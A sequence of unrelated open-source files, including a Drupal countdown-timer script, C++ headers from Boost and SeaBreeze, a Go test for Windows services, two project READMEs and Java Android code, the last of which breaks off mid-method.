// $Id: countdowntimer.module,v 1.8.2.22.2.4.2.30 2009/06/22 17:07:23 jvandervort Exp $
    Drupal.behaviors.countdowntimer = function (context) {
      $(document).ready(countdown_auto_attach);
    }
    //countdowntimer namespace
    Drupal.countdowntimer = {};
    Drupal.countdowntimer.formats = ['(%dow% %moy%%day%)
%days% days + %hours%:%mins%:%secs%','Only %days% days, %hours% hours, %mins% minutes and %secs% seconds left', '%days% shopping days left', '(%dow% %moy%%day%)
%days% days + %hours%:%mins%:%secs%'];

    Drupal.countdowntimer.jstimer = function(timer_element) {
      /* defaults */
      var d = {dir:"down",format_num:0, format_txt:"", timer_complete:new String('Timer Completed'), highlight:new String('style="color:red"').split(/=/), threshold:new Number('5')};
      /* jstimer.properties */
      this.element = timer_element;
      this.d = d;
      /* jstimer.methods */
      this.parse_microformat = Drupal.countdowntimer.parse_microformat;
      this.update = Drupal.countdowntimer.update_timer;

      /* bootstrap, parse microformat, load object */
      try {
        this.parse_microformat();
      }
      catch(e) {
        alert(e.message);
        alert($(timer_element).html());
        this.parse_microformat_success = 0;
        return;
      }

      if ( d.format_txt != "" ) {
          this.outformat = d.format_txt;
      } else {
        this.outformat = Drupal.countdowntimer.formats[d.format_num];
      }

      // replace the static stuff in the format string
      // this only needs to be done once, so here is a good spot.
      this.outformat = this.outformat.replace(/%day%/,   this.to_date.getDate());
      this.outformat = this.outformat.replace(/%month%/, this.to_date.getMonth() + 1);
      this.outformat = this.outformat.replace(/%year%/,  this.to_date.getFullYear());
      this.outformat = this.outformat.replace(/%moy%/,   this.to_date.countdowntimer_get_moy());
      this.outformat = this.outformat.replace(/%dow%/,   this.to_date.countdowntimer_get_dow());
    }

    Drupal.countdowntimer.parse_microformat = function() {

      var timer_span = $(this.element);
      if ( timer_span.hasClass("countdowntimer") ) {
        timer_span.removeClass("countdowntimer")
      }

      var cdt_class = timer_span.children("span[class=cdt_class]").html();
      if ( cdt_class == 'simple-timer' ) {
        this.d.cdt_class = cdt_class;
        var interval = timer_span.children("span[class=cdt_interval]").html();
        var date = new Date();
        this.to_date = date;
        this.to_date.setTime(date.getTime() + (interval*1000));
      } else {
        this.d.cdt_class = 'date-timer';
        var strdate = timer_span.children("span[class=datetime]").html();
        var str_current_server_time = timer_span.children("span[class=current_server_time]").html();
        if ( String(strdate) == 'null' ) {
          this.parse_microformat_success = 0;
          throw new Object({name:"NoDate",message:"CountdownTimer: Span with class=datetime not found within the timer span."});
        }
        var date = new Date();
        try {
          date.countdowntimer_set_iso8601_date(strdate);
        }
        catch(e) {
          throw(e);
        }
        this.to_date = date;
        if ( String(str_current_server_time) != 'null' ) {
          // this is a feedback time from the server to correct for small server-client time differences.
          // not used for normal block and node timers.
          var date_server = new Date();
          date_server.countdowntimer_set_iso8601_date(str_current_server_time);
          var date_client = new Date();
          var adj = date_client.getTime() - date_server.getTime();
          // adjust target date to clients domain
          this.to_date.setTime(this.to_date.getTime() + adj);
        }
      }

      // common attributes
      this.d.dir = timer_span.children("span[class=dir]").html() || this.d.dir;
      this.d.format_num = timer_span.children("span[class=format_num]").html() || this.d.format_num;
      this.d.format_txt = timer_span.children("span[class=format_txt]").html() || "";
      if ( String(this.d.format_txt).match("'") ) {
        this.d.format_txt = "Format may not contain single quotes(').";
      }
      this.d.threshold = timer_span.children("span[class=threshold]").html() || this.d.threshold;
      this.d.timer_complete = timer_span.children("span[class=complete]").html() || this.d.timer_complete;
      this.d.tc_redir = timer_span.children("span[class=tc_redir]").html() || '';
      this.d.tc_msg = timer_span.children("span[class=tc_msg]").html() || '';

      this.parse_microformat_success = 1;
    }

    // update_timer: returns false if the timer is done.
    Drupal.countdowntimer.update_timer = function() {
      var timer_span = $(this.element);
      var now_date = new Date();
      var diff_secs;
      if ( this.d.dir == "down" ) {
        diff_secs = Math.floor((this.to_date.getTime() - now_date.getTime()) / 1000);
      } else {
        diff_secs = Math.floor((now_date.getTime() - this.to_date.getTime()) / 1000);
      }

      if ( this.d.dir == "down" && diff_secs < 0 ) {
        /* timer complete */
        timer_span.html(this.d.timer_complete.valueOf());

        if ( this.d.tc_msg != '' && diff_secs > -3 ) {
          alert(this.d.tc_msg);
          if ( this.d.tc_redir != '' ) {
            window.location = this.d.tc_redir;
          }
        } else if ( this.d.tc_redir != '' && diff_secs > -3) {
          window.location = this.d.tc_redir;
        }

        return false;
      } else {
        /* timer still counting */
        var years = Math.floor(diff_secs / 60 / 60 / 24 / 365.25);
        var days = Math.floor(diff_secs / 60 / 60 / 24);
        var ydays = Math.ceil(days - (years * 365.25));
        var hours = Math.floor(diff_secs / 60 / 60) - (days * 24);
        var minutes = Math.floor(diff_secs / 60) - (hours * 60) - (days * 24 * 60);
        var seconds = diff_secs - (minutes * 60) - (hours * 60 * 60) - (days * 24 * 60 * 60);

        var outhtml = new String(this.outformat);

        //handle all counts with units first
        var year_str = Drupal.formatPlural(years, "1 year", "@count years");
        outhtml = outhtml.replace(/%years% years/, year_str);
        var ydays_str = Drupal.formatPlural(ydays, "1 day", "@count days");
        outhtml = outhtml.replace(/%ydays% days/, ydays_str);
        var days_str = Drupal.formatPlural(days, "1 day", "@count days");
        outhtml = outhtml.replace(/%days% days/, days_str);
        var hours_str = Drupal.formatPlural(hours, "1 hour", "@count hours");
        outhtml = outhtml.replace(/%hours% hours/, hours_str);
        var mins_str = Drupal.formatPlural(minutes, "1 minute", "@count minutes");
        outhtml = outhtml.replace(/%mins% minutes/, mins_str);
        var secs_str = Drupal.formatPlural(seconds, "1 second", "@count seconds");
        outhtml = outhtml.replace(/%secs% seconds/, secs_str);

        //handle counts without units
        outhtml = outhtml.replace(/%years%/, years);
        outhtml = outhtml.replace(/%ydays%/, ydays);
        outhtml = outhtml.replace(/%days%/, days);
        outhtml = outhtml.replace(/%hours%/, LZ(hours));
        outhtml = outhtml.replace(/%mins%/, LZ(minutes));
        outhtml = outhtml.replace(/%secs%/, LZ(seconds));
        outhtml = outhtml.replace(/%hours_nopad%/, hours);
        outhtml = outhtml.replace(/%mins_nopad%/, minutes);
        outhtml = outhtml.replace(/%secs_nopad%/, seconds);

        if ( this.d.dir == "down" && (diff_secs <= (this.d.threshold * 60)) ) {
          timer_span.html('' +  outhtml + '');
        } else {
          timer_span.html(outhtml);
        }

        return true;
      }
    }

    // clock functions
    Drupal.countdowntimer.js_clock = function(_element) {
      this.element = _element;
      this.update = Drupal.countdowntimer.update_clock;
    }
    Drupal.countdowntimer.update_clock = function() {
      var timenow = new Date();
      var h = timenow.getHours();
      var m = timenow.getMinutes();
      var s = timenow.getSeconds();
      if ( '0' == '0' ) {
        var am_pm = ""
        if ( h <= 12 ) {
          am_pm = "am";
        } else {
          am_pm = "pm";
          h = h - 12;
        }
        $(this.element).html(h + ":" + LZ(m) + ":" + LZ(s) + am_pm);
      } else if ( '0' == '1' ) {
        $(this.element).html(h + ":" + LZ(m) + ":" + LZ(s));
      }
      return true;
    }

    // bootstrap and timing functions
    Drupal.countdowntimer.running = 0;
    Drupal.countdowntimer.timer_stack = new Array();

    function countdown_auto_attach() {
      $(".countdowntimer").each(
        function(i) {  // i is the position in the each fieldset
          var t = new Drupal.countdowntimer.jstimer(this,1);
          if ( t.parse_microformat_success == 1 ) {
            Drupal.countdowntimer.timer_stack[Drupal.countdowntimer.timer_stack.length] = t;
          }
          if ( Drupal.countdowntimer.running == 0 ) {
            Drupal.countdowntimer.running = 1;
            timer_loop();
          }
        }
      );
      $(".js-clock").each(
        function(i) {
          var t = new Drupal.countdowntimer.js_clock(this,1);
          Drupal.countdowntimer.timer_stack[Drupal.countdowntimer.timer_stack.length] = t;
          if ( Drupal.countdowntimer.running == 0 ) {
            Drupal.countdowntimer.running = 1;
            timer_loop();
          }
        }
      );
    }
    function timer_loop() {
      for (var i = Drupal.countdowntimer.timer_stack.length - 1; i >= 0; i--) {
        if ( Drupal.countdowntimer.timer_stack[i].update() == false ) {
          Drupal.countdowntimer.timer_stack.splice(i, 1);
        }
      }
      setTimeout('timer_loop()',999);
    }
    function LZ(x) {
      return (x >= 10 || x < 0 ? "" : "0") + x;
    }

    Date.prototype.countdowntimer_set_iso8601_date = function (string) {
      var iso8601_re = /^(?:(\d{4})(?:-(\d{2})(?:-(\d{2}))?)?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(.\d+)?)?((?:[+-](\d{2}):(\d{2}))|Z)?)?$/;
      var date_bits = iso8601_re.exec(string);
      var date_obj = null;
      if ( date_bits ) {
        date_bits.shift();
        date_bits[1] && date_bits[1]--; // normalize month
        date_bits[6] && (date_bits[6] *= 1000); // convert mils
        date_obj = new Date(date_bits[0]||1970, date_bits[1]||0, date_bits[2]||0, date_bits[3]||0, date_bits[4]||0, date_bits[5]||0, date_bits[6]||0);

        //timezone handling
        var zone_offset = 0;  // in minutes
        var zone_plus_minus = date_bits[7] && date_bits[7].charAt(0);
        // get offset from isostring time to Z time
        if ( zone_plus_minus != 'Z' ) {
          zone_offset = ((date_bits[8] || 0) * 60) + (Number(date_bits[9]) || 0);
          if ( zone_plus_minus != '-' ) {
            zone_offset *= -1;
          }
        }
        // convert offset to localtime offset, will include daylight savings
        if ( zone_plus_minus ) {
          zone_offset -= date_obj.getTimezoneOffset();
        }
        if ( zone_offset ) {
          date_obj.setTime(date_obj.getTime() + zone_offset * 60000);
        }
      }

      // set this object to current localtime representation
      try {
        this.setTime(date_obj.getTime());
      }
      catch(e) {
        throw new Object({name:"DatePatternFail",message:"CountdownTimer: Date does not have proper format (ISO8601, see readme.txt)."});
      }
    }
    Date.prototype.countdowntimer_get_moy = function () {
      var myMonths=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec");
      return myMonths[this.getMonth()];
    }
    Date.prototype.countdowntimer_get_dow = function () {
      var myDays=["Sun","Mon","Tue","Wed","Thu","Fri","Sat","Sun"];
      return myDays[this.getDay()];
    }


<?php
/**
 * Copyright (c) UNA, Inc - https://una.io
 * MIT License - https://opensource.org/licenses/MIT
 */

$aConfig = array(
    /**
     * Main Section.
     */
    'title' => 'Groups',
    'version_from' => '9.0.4',
	'version_to' => '9.0.5',
    'vendor' => 'BoonEx',

    'compatible_with' => array(
        '9.0.0-RC2'
    ),

    /**
     * 'home_dir' and 'home_uri' - should be unique. Don't use spaces in 'home_uri' and the other special chars.
     */
    'home_dir' => 'boonex/groups/updates/update_9.0.4_9.0.5/',
	'home_uri' => 'groups_update_904_905',

	'module_dir' => 'boonex/groups/',
	'module_uri' => 'groups',

    'db_prefix' => 'bx_groups_',
    'class_prefix' => 'BxGroups',

    /**
     * Installation/Uninstallation Section.
     */
    'install' => array(
		'execute_sql' => 1,
        'update_files' => 1,
        'update_languages' => 1,
		'clear_db_cache' => 1,
    ),

	/**
     * Category for language keys.
     */
    'language_category' => 'Groups',

	/**
     * Files Section
     */
    'delete_files' => array(),
);


'use strict';

var path = require('path');
var readFile = require('./readFile');
var parseJson = require('./parseJson');

module.exports = function (packageDir, options) {
  var packagePath = path.join(packageDir, 'package.json');

  return readFile(packagePath).then(function (content) {
    if (!content) return null;
    var parsedContent = parseJson(content, packagePath);
    var packagePropValue = parsedContent[options.packageProp];
    if (!packagePropValue) return null;

    return {
      config: packagePropValue,
      filepath: packagePath,
    };
  });
};


# isarray

`Array#isArray` for older browsers.

## Usage

```js
var isArray = require('isarray');

console.log(isArray([])); // => true
console.log(isArray({})); // => false
```

## Installation

With [npm](http://npmjs.org) do

```bash
$ npm install isarray
```

Then bundle for the browser with
[browserify](https://github.com/substack/browserify).

With [component](http://component.io) do

```bash
$ component install juliangruber/isarray
```

## License

(MIT)

Copyright (c) 2013 Julian Gruber <julian@juliangruber.com>

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


/***************************************************//**
 * @file    OBPGetOpticalBenchIDExchange.h
 * @date    January 2015
 * @author  Ocean Optics, Inc., Kirk Clendinning, Heliospectra
 *
 * LICENSE:
 *
 * SeaBreeze Copyright (C) 2015, Ocean Optics Inc
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject
 * to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
 * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
 * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
 * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *******************************************************/

#ifndef OBPGETOPTICALBENCHIDEXCHANGE_H
#define OBPGETOPTICALBENCHIDEXCHANGE_H

#include "vendors/OceanOptics/protocols/obp/exchanges/OBPQuery.h"

namespace seabreeze {
    namespace oceanBinaryProtocol {
        class OBPGetOpticalBenchIDExchange : public OBPQuery {
        public:
            OBPGetOpticalBenchIDExchange();
            virtual ~OBPGetOpticalBenchIDExchange();
        };
    }
}

#endif /* OBPGETOPTICALBENCHIDEXCHANGE_H */


/* boost random/detail/uniform_int_float.hpp header file
 *
 * Copyright Jens Maurer 2000-2001
 * Copyright Steven Watanabe 2011
 * Distributed under the Boost Software License, Version 1.0. (See
 * accompanying file LICENSE_1_0.txt or copy at
 * http://www.boost.org/LICENSE_1_0.txt)
 *
 * See http://www.boost.org for most recent version including documentation.
 *
 * $Id$
 *
 */

#ifndef BOOST_RANDOM_DETAIL_UNIFORM_INT_FLOAT_HPP
#define BOOST_RANDOM_DETAIL_UNIFORM_INT_FLOAT_HPP

#include <boost/limits.hpp>
#include <boost/config.hpp>
#include <boost/integer.hpp>
#include <boost/random/detail/config.hpp>
#include <boost/random/detail/generator_bits.hpp>

#include <boost/random/detail/disable_warnings.hpp>

namespace boost {
namespace random {
namespace detail {

template<class URNG>
class uniform_int_float
{
public:
    typedef URNG base_type;
    typedef typename base_type::result_type base_result;

    typedef typename boost::uint_t<
        (std::numeric_limits<boost::uintmax_t>::digits <
            std::numeric_limits<base_result>::digits)?
        std::numeric_limits<boost::uintmax_t>::digits :
        std::numeric_limits<base_result>::digits
    >::fast result_type;

    uniform_int_float(base_type& rng)
      : _rng(rng) {}

    static result_type min BOOST_PREVENT_MACRO_SUBSTITUTION ()
    { return 0; }
    static result_type max BOOST_PREVENT_MACRO_SUBSTITUTION ()
    {
        std::size_t digits = std::numeric_limits<result_type>::digits;
        if(detail::generator_bits<URNG>::value() < digits) {
            digits = detail::generator_bits<URNG>::value();
        }
        return (result_type(2) << (digits - 1)) - 1;
    }
    base_type& base() { return _rng; }
    const base_type& base() const { return _rng; }

    result_type operator()()
    {
        base_result range = static_cast<base_result>((max)())+1;
        return static_cast<result_type>(_rng() * range);
    }

private:
    base_type& _rng;
};

} // namespace detail
} // namespace random
} // namespace boost

#include <boost/random/detail/enable_warnings.hpp>

#endif // BOOST_RANDOM_DETAIL_UNIFORM_INT_FLOAT_HPP


// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// +build windows

package svc_test

import (
	"fmt"
	"io/ioutil"
	"math/rand"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"testing"
	"time"

	"golang.org/x/sys/windows/svc"
	"golang.org/x/sys/windows/svc/mgr"
)

func getState(t *testing.T, s *mgr.Service) svc.State {
	status, err := s.Query()
	if err != nil {
		t.Fatalf("Query(%s) failed: %s", s.Name, err)
	}
	return status.State
}

func testState(t *testing.T, s *mgr.Service, want svc.State) {
	have := getState(t, s)
	if have != want {
		t.Fatalf("%s state is=%d want=%d", s.Name, have, want)
	}
}

func waitState(t *testing.T, s *mgr.Service, want svc.State) {
	for i := 0; ; i++ {
		have := getState(t, s)
		if have == want {
			return
		}
		if i > 10 {
			t.Fatalf("%s state is=%d, waiting timeout", s.Name, have)
		}
		time.Sleep(300 * time.Millisecond)
	}
}

func TestExample(t *testing.T) {
	if testing.Short() {
		t.Skip("skipping test in short mode - it modifies system services")
	}

	const name = "myservice"

	m, err := mgr.Connect()
	if err != nil {
		t.Fatalf("SCM connection failed: %s", err)
	}
	defer m.Disconnect()

	dir, err := ioutil.TempDir("", "svc")
	if err != nil {
		t.Fatalf("failed to create temp directory: %v", err)
	}
	defer os.RemoveAll(dir)

	exepath := filepath.Join(dir, "a.exe")
	o, err := exec.Command("go", "build", "-o", exepath, "golang.org/x/sys/windows/svc/example").CombinedOutput()
	if err != nil {
		t.Fatalf("failed to build service program: %v\n%v", err, string(o))
	}

	s, err := m.OpenService(name)
	if err == nil {
		err = s.Delete()
		if err != nil {
			s.Close()
			t.Fatalf("Delete failed: %s", err)
		}
		s.Close()
	}
	s, err = m.CreateService(name, exepath, mgr.Config{DisplayName: "my service"}, "is", "auto-started")
	if err != nil {
		t.Fatalf("CreateService(%s) failed: %v", name, err)
	}
	defer s.Close()

	args := []string{"is", "manual-started", fmt.Sprintf("%d", rand.Int())}

	testState(t, s, svc.Stopped)
	err = s.Start(args...)
	if err != nil {
		t.Fatalf("Start(%s) failed: %s", s.Name, err)
	}
	waitState(t, s, svc.Running)
	time.Sleep(1 * time.Second)

	// testing deadlock from issues 4.
	_, err = s.Control(svc.Interrogate)
	if err != nil {
		t.Fatalf("Control(%s) failed: %s", s.Name, err)
	}
	_, err = s.Control(svc.Interrogate)
	if err != nil {
		t.Fatalf("Control(%s) failed: %s", s.Name, err)
	}
	time.Sleep(1 * time.Second)

	_, err = s.Control(svc.Stop)
	if err != nil {
		t.Fatalf("Control(%s) failed: %s", s.Name, err)
	}
	waitState(t, s, svc.Stopped)

	err = s.Delete()
	if err != nil {
		t.Fatalf("Delete failed: %s", err)
	}

	out, err := exec.Command("wevtutil.exe", "qe", "Application", "/q:*[System[Provider[@Name='myservice']]]", "/rd:true", "/c:10").CombinedOutput()
	if err != nil {
		t.Fatalf("wevtutil failed: %v\n%v", err, string(out))
	}
	if want := strings.Join(append([]string{name}, args...), "-"); !strings.Contains(string(out), want) {
		t.Errorf("%q string does not contain %q", string(out), want)
	}
}


///////////////////////////////////////////////////////////////////////////
// C++ code generated with wxFormBuilder (version Oct 26 2018)
// http://www.wxformbuilder.org/
//
// PLEASE DO *NOT* EDIT THIS FILE!
///////////////////////////////////////////////////////////////////////////

#pragma once

#include <wx/artprov.h>
#include <wx/xrc/xmlres.h>
#include <wx/string.h>
#include <wx/bitmap.h>
#include <wx/image.h>
#include <wx/icon.h>
#include <wx/menu.h>
#include <wx/gdicmn.h>
#include <wx/font.h>
#include <wx/colour.h>
#include <wx/settings.h>
#include <wx/radiobut.h>
#include <wx/sizer.h>
#include <wx/statbox.h>
#include <wx/panel.h>
#include <wx/combobox.h>
#include <wx/button.h>
#include <wx/choice.h>
#include <wx/stattext.h>
#include <wx/checkbox.h>
#include <wx/tglbtn.h>
#include <wx/textctrl.h>
#include <wx/frame.h>

///////////////////////////////////////////////////////////////////////////

#define rx_channel_pnl 1000

///////////////////////////////////////////////////////////////////////////////
/// Class limeRFE_view
///////////////////////////////////////////////////////////////////////////////
class limeRFE_view : public wxFrame
{
	private:

	protected:
		wxMenuBar* mbar;
		wxMenu* mFile;
		wxMenu* m_menu7;
		wxPanel* pnlMain;
		wxPanel* m_panel15;
		wxRadioButton* rbI2C;
		wxRadioButton* rbUSB;
		wxPanel* m_panel161;
		wxComboBox* cmbbPorts;
		wxButton* btnRefreshPorts;
		wxButton* btnOpenPort;
		wxButton* btnClosePort;
		wxPanel* m_panel172;
		wxButton* btnOpen;
		wxButton* btnSave;
		wxButton* btnReset;
		wxButton* btnBoard2GUI;
		wxPanel* pnlConfiguration;
		wxPanel* m_panel17;
		wxChoice* cTypeRX;
		wxChoice* cChannelRX;
		wxStaticText* m_staticText261;
		wxChoice* cPortRX;
		wxStaticText* m_staticText9;
		wxChoice* cAttenuation;
		wxCheckBox* cbNotch;
		wxPanel* m_panel171;
		wxCheckBox* cbTXasRX;
		wxChoice* cTypeTX;
		wxChoice* cChannelTX;
		wxStaticText* m_staticText26;
		wxChoice* cPortTX;
		wxPanel* pnlSWR;
		wxCheckBox* cbEnableSWR;
		wxRadioButton* rbSWRext;
		wxRadioButton* rbSWRcell;
		wxPanel* pnlTXRX;
		wxToggleButton* tbtnTXRX;
		wxPanel* pnlTXRXEN;
		wxToggleButton* tbtnRX;
		wxToggleButton* tbtnTX;
		wxButton* btnConfigure;
		wxPanel* pnlTXRXMode;
		wxStaticText* txtTXRX;
		wxPanel* pnlTXRXModeEN;
		wxStaticText* txtTXRXEN;
		wxPanel* pnlPowerMeter;
		wxPanel* m_panel16;
		wxButton* btnReadADC;
		wxButton* btnCalibrate;
		wxPanel* pnlADC1;
		wxStaticText* m_staticText13;
		wxStaticText* txtADC1;
		wxStaticText* txtADC1_V;
		wxStaticText* m_staticText27;
		wxStaticText* m_staticText10;
		wxStaticText* txtPFWD_dBm;
		wxStaticText* m_staticText12;
		wxStaticText* txtPFWD_W;
		wxStaticText* m_staticText16;
		wxStaticText* m_staticText102;
		wxTextCtrl* tcPowerCalibrate;
		wxStaticText* m_staticText122;
		wxPanel* pnlADC2;
		wxStaticText* m_staticText131;
		wxStaticText* txtADC2;
		wxStaticText* txtADC2_V;
		wxStaticText* m_staticText29;
		wxStaticText* m_staticText101;
		wxStaticText* txtRL_dB;
		wxStaticText* m_staticText121;
		wxStaticText* m_staticText31;
		wxStaticText* txtSWR;
		wxStaticText* m_staticText1021;
		wxTextCtrl* tcRLCalibrate;
		wxStaticText* m_staticText1221;
		wxPanel* m_panel173;
		wxTextCtrl* txtMessageField;
		wxPanel* m_panel18;
		wxButton* btnClearMessages;

		// Virtual event handlers, overide them in your derived class
		virtual void OnQuit( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnrbI2CrbUSB( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnRefreshPorts( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnOpenPort( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnClosePort( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnOpen( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnSave( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnReset( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnBoard2GUI( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnEraseBackground_pnlConfiguration( wxEraseEvent& event ) { event.Skip(); }
		virtual void OncTypeRX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncChannelRX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncPortRX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncAttenuation( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncbNotch( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncbTXasRX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncTypeTX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncChannelTX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncPortTX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OncbEnableSWR( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnrbSWRext( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnrbSWRcell( wxCommandEvent& event ) { event.Skip(); }
		virtual void OntbtnTXRX( wxCommandEvent& event ) { event.Skip(); }
		virtual void OntbtnRXEN( wxCommandEvent& event ) { event.Skip(); }
		virtual void OntbtnTXEN( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnConfigure( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnReadADC( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnCalibrate( wxCommandEvent& event ) { event.Skip(); }
		virtual void OnbtnClearMessages( wxCommandEvent& event ) { event.Skip(); }

	public:

		limeRFE_view( wxWindow* parent, wxWindowID id = wxID_ANY, const wxString& title = wxT("LimeRFE Control"), const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize( -1,-1 ), long style = wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX|wxSYSTEM_MENU|wxTAB_TRAVERSAL );

		~limeRFE_view();

};


package com.bestaone.hiauth.utils;

public class Constant {

    /**
     * 登录时存储图形验证码到缓存中的key
     */
    public static final String CACHE_KEY_IMAGE_YZM = "image_yzm";
    /**
     * 登录时存储短信验证码到缓存中的key
     */
    public static final String CACHE_KEY_SMS_YZM = "sms_yzm";

    /**
     * 提交表单时request key
     */
    public static final String REQUEST_KEY_FORM_TOKEN = "formToken";

}


[![Platypus](http://platypus.gopherwoodstudios.com/assets/platypus-title.png)](https://github.com/PBS-KIDS/Platypus)
========

2D tile based game framework in HTML5

The Platypus Engine allows rapid development of 2D orthogonal tile based games for deployment in HTML5 compatible browsers. The engine uses a component based model, and includes many ready to use components to allow users to start adding assets and editing levels right away. The component based model lends itself to community members adding new functionality, we hope you'll share what you've done!

Platypus uses:

 * The [Tiled](http://www.mapeditor.org/) map editor for level creation.
 * [SpringRoll (v1)](http://springroll.io) for application management.
 * [Pixi.js](http://www.pixijs.com/) for rendering visuals.

## Key Features

* Deploy on any HTML5 platform supported by SpringRoll v1
* Multi-platform support
* Automatic scaling
* Touch and keyboard input
* Component-based development model
* [Documentation](https://github.com/PBS-KIDS/Platypus/wiki)

Platypus in action:
* Ready Jet GO! [Mission Earth](https://pbskids.org/readyjetgo/games/mission/index.html)
* Wild Kratts [Monkey Mayhem](http://pbskids.org/wildkratts/games/monkey-mayhem/)

## Building
Platypus uses [Grunt](http://gruntjs.com/) to manage the build process. To export a release build for this library run:

    grunt build

This command will:

* Update the platypus.js file with the current date and version number from config
* Create the {PROJECT_NAME}-{VERSION}.min.js file and move it to ../lib
* Generate the documentation in the docs_out_path from config
* Create a zip file of the documentation and move it to ../docs

### NEXT version

The same process as above, but uses "NEXT" as the version and doesn't generate documentation. This is used to generate minified builds with the latest source between release versions.

	grunt next

### Combined File

The same as the NEXT process, but will not minify the source code. All code formatting and comments are left intact.

	grunt combine

### All commands

* grunt build -  Build everything based on the version in package.json
* grunt next - Build everything using the NEXT version.
* grunt combine - Build a NEXT version, but leave comments and formatting intact.
* grunt docs - Build only the docs
* grunt uglify - Build only the min files. (Will use NEXT as the version)
* npm test - Run tests to verify game engine functionality.

***
[Code](https://github.com/PBS-KIDS/Platypus/) - [Wiki](https://github.com/PBS-KIDS/Platypus/wiki/) - [Docs](http://gopherwood.github.io/Platypus/)

Platypus was developed by PBS KIDS and [Gopherwood Studios](http://gopherwoodstudios.com/). It is free to use (see licenses.txt), all assets in the example games are © Gopherwood Studios and/or © PBS KIDS.


package net.osmand.plus.mapcontextmenu.controllers;

import android.graphics.drawable.Drawable;

import androidx.annotation.NonNull;

import net.osmand.data.PointDescription;
import net.osmand.plus.R;
import net.osmand.plus.activities.MapActivity;
import net.osmand.plus.activities.search.SearchHistoryFragment;
import net.osmand.plus.helpers.SearchHistoryHelper.HistoryEntry;
import net.osmand.plus.mapcontextmenu.MenuBuilder;
import net.osmand.plus.mapcontextmenu.MenuController;
import net.osmand.util.Algorithms;

public class HistoryMenuController extends MenuController {

	private HistoryEntry entry;
	private boolean hasTypeInDescription;

	public HistoryMenuController(@NonNull MapActivity mapActivity, @NonNull PointDescription pointDescription, final @NonNull HistoryEntry entry) {
		super(new MenuBuilder(mapActivity), pointDescription, mapActivity);
		this.entry = entry;
		builder.setShowNearestWiki(true);
		initData();
	}

	private void initData() {
		hasTypeInDescription = !Algorithms.isEmpty(entry.getName().getTypeName());
	}

	@Override
	protected void setObject(Object object) {
		if (object instanceof HistoryEntry) {
			this.entry = (HistoryEntry) object;
			initData();
		}
	}

	@Override
	protected Object getObject() {
		return entry;
	}

	@Override
	public boolean displayStreetNameInTitle() {
		return entry.getName().isLocation();
	}

	@Override
	public boolean displayDistanceDirection() {
		return true;
	}

	@Override
	public Drawable getRightIcon() {
		return getIcon(SearchHistoryFragment.getItemIcon(entry.getName()));
	}

	@Override
	public Drawable getSecondLineTypeIcon() {
		if (hasTypeInDescription) {
			return getIcon(R.drawable.ic_action_group_name_16);
		} else {
			return null;
		}
	}

	@NonNull
	@Override
	public String getTypeStr() {
		if (hasTypeInDescription) {
			return entry.getName().getTypeName();
		} else {
			return "";
		}
	}

	@NonNull
	@Override
	public String getCommonTypeStr() {
		MapActivity mapActivity = getMapActivity();
		if (mapActivity != null) {
